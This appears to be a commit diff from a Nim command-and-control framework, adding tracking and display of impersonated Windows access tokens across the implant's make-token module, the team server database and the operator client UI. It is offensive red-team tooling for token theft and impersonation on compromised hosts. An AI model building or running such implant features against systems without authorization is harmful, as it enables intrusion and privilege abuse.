Impersonated user is displayed in the client UI and persisted in the team server database.
This commit is contained in:
@@ -3,6 +3,6 @@
|
||||
-d:release
|
||||
--opt:size
|
||||
--passL:"-s" # Strip symbols, such as sensitive function names
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER"
|
||||
-d:MODULES="511"
|
||||
-o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe"
|
||||
@@ -96,6 +96,9 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
||||
sessionsTable.agents.add(agent)
|
||||
sessionsTable.agentActivity[agent.agentId] = agent.latestCheckin
|
||||
|
||||
if not agent.impersonationToken.isEmptyOrWhitespace():
|
||||
sessionsTable.agentImpersonation[agent.agentId] = agent.impersonationToken
|
||||
|
||||
# Initialize position of console windows to bottom by drawing them once when they are added
|
||||
# By default, the consoles are attached to the same DockNode as the Listeners table (Default: bottom),
|
||||
# so if you place your listeners somewhere else, the console windows show up somewhere else too
|
||||
@@ -172,6 +175,16 @@ proc main(ip: string = "localhost", port: int = 37573) =
|
||||
lootScreenshots.addTexture(lootItem.lootId, data)
|
||||
else: discard
|
||||
|
||||
of CLIENT_IMPERSONATE_TOKEN:
|
||||
let
|
||||
agentId = event.data["agentId"].getStr()
|
||||
impersonationToken = event.data["username"].getStr()
|
||||
sessionsTable.agentImpersonation[agentId] = impersonationToken
|
||||
|
||||
of CLIENT_REVERT_TOKEN:
|
||||
echo event.data["agentId"].getStr()
|
||||
sessionsTable.agentImpersonation.del(event.data["agentId"].getStr())
|
||||
|
||||
else: discard
|
||||
|
||||
# Draw/update UI components/views
|
||||
|
||||
@@ -9,7 +9,8 @@ type
|
||||
SessionsTableComponent* = ref object of RootObj
|
||||
title: string
|
||||
agents*: seq[UIAgent]
|
||||
agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin
|
||||
agentActivity*: Table[string, int64] # Direct O(1) access to latest checkin
|
||||
agentImpersonation*: Table[string, string]
|
||||
selection: ptr ImGuiSelectionBasicStorage
|
||||
consoles: ptr Table[string, ConsoleComponent]
|
||||
|
||||
@@ -45,6 +46,8 @@ proc interact(component: SessionsTableComponent) =
|
||||
proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||
igBegin(component.title, showComponent, 0)
|
||||
|
||||
let textSpacing = igGetStyle().ItemSpacing.x
|
||||
|
||||
let tableFlags = (
|
||||
ImGuiTableFlags_Resizable.int32 or
|
||||
ImGuiTableFlags_Reorderable.int32 or
|
||||
@@ -59,7 +62,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||
ImGui_TableFlags_SizingStretchSame.int32
|
||||
)
|
||||
|
||||
let cols: int32 = 12
|
||||
let cols: int32 = 11
|
||||
if igBeginTable("Sessions", cols, tableFlags, vec2(0.0f, 0.0f), 0.0f):
|
||||
|
||||
igTableSetupColumn("AgentID", ImGuiTableColumnFlags_NoReorder.int32 or ImGuiTableColumnFlags_NoHide.int32, 0.0f, 0)
|
||||
@@ -68,7 +71,6 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||
igTableSetupColumn("IP (External)", ImGuiTableColumnFlags_DefaultHide.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Username", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Hostname", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Domain", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("OS", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("Process", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
igTableSetupColumn("PID", ImGuiTableColumnFlags_None.int32, 0.0f, 0)
|
||||
@@ -104,18 +106,26 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||
if igTableSetColumnIndex(3):
|
||||
igText(agent.ipExternal)
|
||||
if igTableSetColumnIndex(4):
|
||||
|
||||
if not agent.domain.isEmptyOrWhitespace():
|
||||
igText(agent.domain & "\\")
|
||||
igSameLine(0.0f, 0.0f)
|
||||
|
||||
igText(agent.username)
|
||||
|
||||
if component.agentImpersonation.hasKey(agent.agentId):
|
||||
igSameLine(0.0f, textSpacing)
|
||||
igText(fmt"[{component.agentImpersonation[agent.agentId]}]")
|
||||
|
||||
if igTableSetColumnIndex(5):
|
||||
igText(agent.hostname)
|
||||
if igTableSetColumnIndex(6):
|
||||
igText(if agent.domain.isEmptyOrWhitespace(): "-" else: agent.domain)
|
||||
if igTableSetColumnIndex(7):
|
||||
igText(agent.os)
|
||||
if igTableSetColumnIndex(8):
|
||||
if igTableSetColumnIndex(7):
|
||||
igText(agent.process)
|
||||
if igTableSetColumnIndex(9):
|
||||
if igTableSetColumnIndex(8):
|
||||
igText($agent.pid)
|
||||
if igTableSetColumnIndex(10):
|
||||
if igTableSetColumnIndex(9):
|
||||
let duration = now() - agent.firstCheckin.fromUnix().local()
|
||||
let totalSeconds = duration.inSeconds
|
||||
|
||||
@@ -126,7 +136,7 @@ proc draw*(component: SessionsTableComponent, showComponent: ptr bool) =
|
||||
let timeText = dateTime(2000, mJan, 1, hours.int, minutes.int, seconds.int).format("HH:mm:ss")
|
||||
igText(fmt"{timeText} ago")
|
||||
|
||||
if igTableSetColumnIndex(11):
|
||||
if igTableSetColumnIndex(10):
|
||||
let duration = now() - component.agentActivity[agent.agentId].fromUnix().local()
|
||||
let totalSeconds = duration.inSeconds
|
||||
|
||||
|
||||
@@ -55,6 +55,8 @@ type
|
||||
CMD_MAKE_TOKEN = 18'u16
|
||||
CMD_STEAL_TOKEN = 19'u16
|
||||
CMD_REV2SELF = 20'u16
|
||||
CMD_TOKEN_GET_PRIV = 21'u16
|
||||
CMD_TOKEN_SET_PRIV = 22'u16
|
||||
|
||||
StatusType* = enum
|
||||
STATUS_COMPLETED = 0'u8
|
||||
@@ -195,6 +197,7 @@ type
|
||||
agentId*: string
|
||||
listenerId*: string
|
||||
username*: string
|
||||
impersonationToken*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
ipInternal*: string
|
||||
@@ -215,6 +218,7 @@ type
|
||||
agentId*: string
|
||||
listenerId*: string
|
||||
username*: string
|
||||
impersonationToken*: string
|
||||
hostname*: string
|
||||
domain*: string
|
||||
ipInternal*: string
|
||||
@@ -275,6 +279,8 @@ type
|
||||
CLIENT_BUILDLOG_ITEM = 107'u8 # Add entry to the build log
|
||||
CLIENT_LOOT_ADD = 108'u8 # Add file or screenshot stored on the team server to preview on the client, only sends metadata and not the actual file content
|
||||
CLIENT_LOOT_DATA = 109'u8 # Send file/screenshot bytes to the client to display as preview or to download to the client desktop
|
||||
CLIENT_IMPERSONATE_TOKEN = 110'u8 # Access token impersonated
|
||||
CLIENT_REVERT_TOKEN = 111'u8 # Revert to original logon session
|
||||
|
||||
Event* = object
|
||||
eventType*: EventType
|
||||
|
||||
@@ -16,7 +16,7 @@ let module* = Module(
|
||||
description: protect("Create an access token from username and password."),
|
||||
example: protect("make-token LAB\\john Password123!"),
|
||||
arguments: @[
|
||||
Argument(name: protect("domain\\username"), description: protect("Account domain and username."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("domain\\username"), description: protect("Account domain and username. For impersonating local users, use .\\username."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
|
||||
],
|
||||
@@ -63,6 +63,9 @@ when defined(agent):
|
||||
if task.argCount == 3:
|
||||
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
||||
|
||||
# Revert current token before creating a new one
|
||||
discard rev2self()
|
||||
|
||||
if not makeToken(userParts[1], password, userParts[0], logonType):
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
||||
|
||||
@@ -99,6 +99,20 @@ proc handleResult*(resultData: seq[byte]) =
|
||||
cq.client.sendConsoleItem(agentId, LOG_SUCCESS, fmt"Task {taskId} completed.")
|
||||
cq.success(fmt"Task {taskId} completed.")
|
||||
cq.agents[agentId].tasks = cq.agents[agentId].tasks.filterIt(it.taskId != taskResult.taskId)
|
||||
|
||||
# Handle additional actions or UI-events based on command type (only when command succeeded)
|
||||
case cast[CommandType](taskResult.command):
|
||||
of CMD_MAKE_TOKEN:
|
||||
let impersonationToken: string = Bytes.toString(taskResult.data).split(" ")[1][0..^2] # Remove trailing '.' character from the domain\username string
|
||||
if cq.dbUpdateTokenImpersonation(agentId, impersonationToken):
|
||||
cq.agents[agentId].impersonationToken = impersonationToken
|
||||
cq.client.sendImpersonateToken(agentId, impersonationToken)
|
||||
of CMD_REV2SELF:
|
||||
if cq.dbUpdateTokenImpersonation(agentId, ""):
|
||||
cq.agents[agentId].impersonationToken.setLen(0)
|
||||
cq.client.sendRevertToken(agentId)
|
||||
else: discard
|
||||
|
||||
of STATUS_FAILED:
|
||||
cq.client.sendConsoleItem(agentId, LOG_ERROR, fmt"Task {taskId} failed.")
|
||||
cq.error(fmt"Task {taskId} failed.")
|
||||
@@ -138,11 +152,8 @@ proc handleResult*(resultData: seq[byte]) =
|
||||
host: cq.agents[agentId].hostname
|
||||
)
|
||||
|
||||
# Store loot in database
|
||||
if not cq.dbStoreLoot(lootItem):
|
||||
raise newException(ValueError, fmt"Failed to store loot in database." & "\n")
|
||||
|
||||
# Send loot to client to display file/screenshot in the UI
|
||||
discard cq.dbStoreLoot(lootItem)
|
||||
cq.client.sendLoot(lootItem)
|
||||
|
||||
cq.output(fmt"File downloaded to {downloadPath} ({$fileData.len()} bytes).", "\n")
|
||||
|
||||
@@ -114,6 +114,7 @@ proc deserializeNewAgent*(cq: Conquest, data: seq[byte], remoteAddress: string):
|
||||
agentId: Uuid.toString(header.agentId),
|
||||
listenerId: Uuid.toString(listenerId),
|
||||
username: username,
|
||||
impersonationToken: "",
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ipInternal: ipInternal,
|
||||
|
||||
@@ -9,6 +9,7 @@ proc `%`*(agent: Agent): JsonNode =
|
||||
result["agentId"] = %agent.agentId
|
||||
result["listenerId"] = %agent.listenerId
|
||||
result["username"] = %agent.username
|
||||
result["impersonationToken"] = %agent.impersonationToken
|
||||
result["hostname"] = %agent.hostname
|
||||
result["domain"] = %agent.domain
|
||||
result["ipInternal"] = %agent.ipInternal
|
||||
@@ -190,3 +191,26 @@ proc sendLootData*(client: WsConnection, loot: LootItem, data: string) =
|
||||
)
|
||||
if client != nil:
|
||||
client.ws.sendEvent(event, client.sessionKey)
|
||||
|
||||
proc sendImpersonateToken*(client: WsConnection, agentId: string, username: string) =
|
||||
let event = Event(
|
||||
eventType: CLIENT_IMPERSONATE_TOKEN,
|
||||
timestamp: now().toTime().toUnix(),
|
||||
data: %*{
|
||||
"agentId": agentId,
|
||||
"username": username
|
||||
}
|
||||
)
|
||||
if client != nil:
|
||||
client.ws.sendEvent(event, client.sessionKey)
|
||||
|
||||
proc sendRevertToken*(client: WsConnection, agentId: string) =
|
||||
let event = Event(
|
||||
eventType: CLIENT_REVERT_TOKEN,
|
||||
timestamp: now().toTime().toUnix(),
|
||||
data: %*{
|
||||
"agentId": agentId
|
||||
}
|
||||
)
|
||||
if client != nil:
|
||||
client.ws.sendEvent(event, client.sessionKey)
|
||||
@@ -28,6 +28,7 @@ proc dbInit*(cq: Conquest) =
|
||||
process TEXT NOT NULL,
|
||||
pid INTEGER NOT NULL,
|
||||
username TEXT NOT NULL,
|
||||
impersonationToken TEXT NOT NULL,
|
||||
hostname TEXT NOT NULL,
|
||||
domain TEXT NOT NULL,
|
||||
ipInternal TEXT NOT NULL,
|
||||
|
||||
@@ -15,9 +15,9 @@ proc dbStoreAgent*(cq: Conquest, agent: Agent): bool =
|
||||
let sessionKeyBlob = agent.sessionKey.toSeq()
|
||||
|
||||
conquestDb.exec("""
|
||||
INSERT INTO agents (agentId, listenerId, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
||||
INSERT INTO agents (agentId, listenerId, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, sleep, modules, firstCheckin, latestCheckin, sessionKey)
|
||||
VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?);
|
||||
""", agent.agentId, agent.listenerId, agent.process, agent.pid, agent.username, agent.impersonationToken, agent.hostname, agent.domain, agent.ipInternal, agent.ipExternal, agent.os, agent.elevated, agent.sleep, agent.modules, agent.firstCheckin, agent.latestCheckin, sessionKeyBlob)
|
||||
|
||||
conquestDb.close()
|
||||
except:
|
||||
@@ -32,8 +32,8 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||
let (agentId, listenerId, sleep, process, pid, username, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||
for row in conquestDb.iterate("SELECT agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKey FROM agents;"):
|
||||
let (agentId, listenerId, sleep, process, pid, username, impersonationToken, hostname, domain, ipInternal, ipExternal, os, elevated, modules, firstCheckin, latestCheckin, sessionKeyBlob) = row.unpack((string, string, int, string, int, string, string, string, string, string, string, string, bool, uint32, int64, int64, seq[byte]))
|
||||
|
||||
# Convert session key blob back to array
|
||||
var sessionKey: Key
|
||||
@@ -49,6 +49,7 @@ proc dbGetAllAgents*(cq: Conquest): seq[Agent] =
|
||||
sleep: sleep,
|
||||
pid: pid,
|
||||
username: username,
|
||||
impersonationToken: impersonationToken,
|
||||
hostname: hostname,
|
||||
domain: domain,
|
||||
ipInternal: ipInternal,
|
||||
@@ -128,11 +129,11 @@ proc dbDeleteAgentByName*(cq: Conquest, agentId: string): bool =
|
||||
|
||||
return true
|
||||
|
||||
proc dbAgentExists*(cq: Conquest, agentName: string): bool =
|
||||
proc dbAgentExists*(cq: Conquest, agentId: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
let res = conquestDb.one("SELECT 1 FROM agents WHERE agentId = ? LIMIT 1", agentName)
|
||||
let res = conquestDb.one("SELECT 1 FROM agents WHERE agentId = ? LIMIT 1", agentId)
|
||||
|
||||
conquestDb.close()
|
||||
|
||||
@@ -141,11 +142,11 @@ proc dbAgentExists*(cq: Conquest, agentName: string): bool =
|
||||
cq.error(getCurrentExceptionMsg())
|
||||
return false
|
||||
|
||||
proc dbUpdateSleep*(cq: Conquest, agentName: string, delay: int): bool =
|
||||
proc dbUpdateTokenImpersonation*(cq: Conquest, agentId: string, impersonationToken: string): bool =
|
||||
try:
|
||||
let conquestDb = openDatabase(cq.dbPath, mode=dbReadWrite)
|
||||
|
||||
conquestDb.exec("UPDATE agents SET sleep = ? WHERE agentId = ?", delay, agentName)
|
||||
conquestDb.exec("UPDATE agents SET impersonationToken = ? WHERE agentId = ?", impersonationToken, agentId)
|
||||
|
||||
conquestDb.close()
|
||||
return true
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
import strformat, strutils, system, terminal, tiny_sqlite
|
||||
import strformat, system, terminal, tiny_sqlite
|
||||
|
||||
import ../core/logger
|
||||
import ../../common/types
|
||||
|
||||
Reference in New Issue
Block a user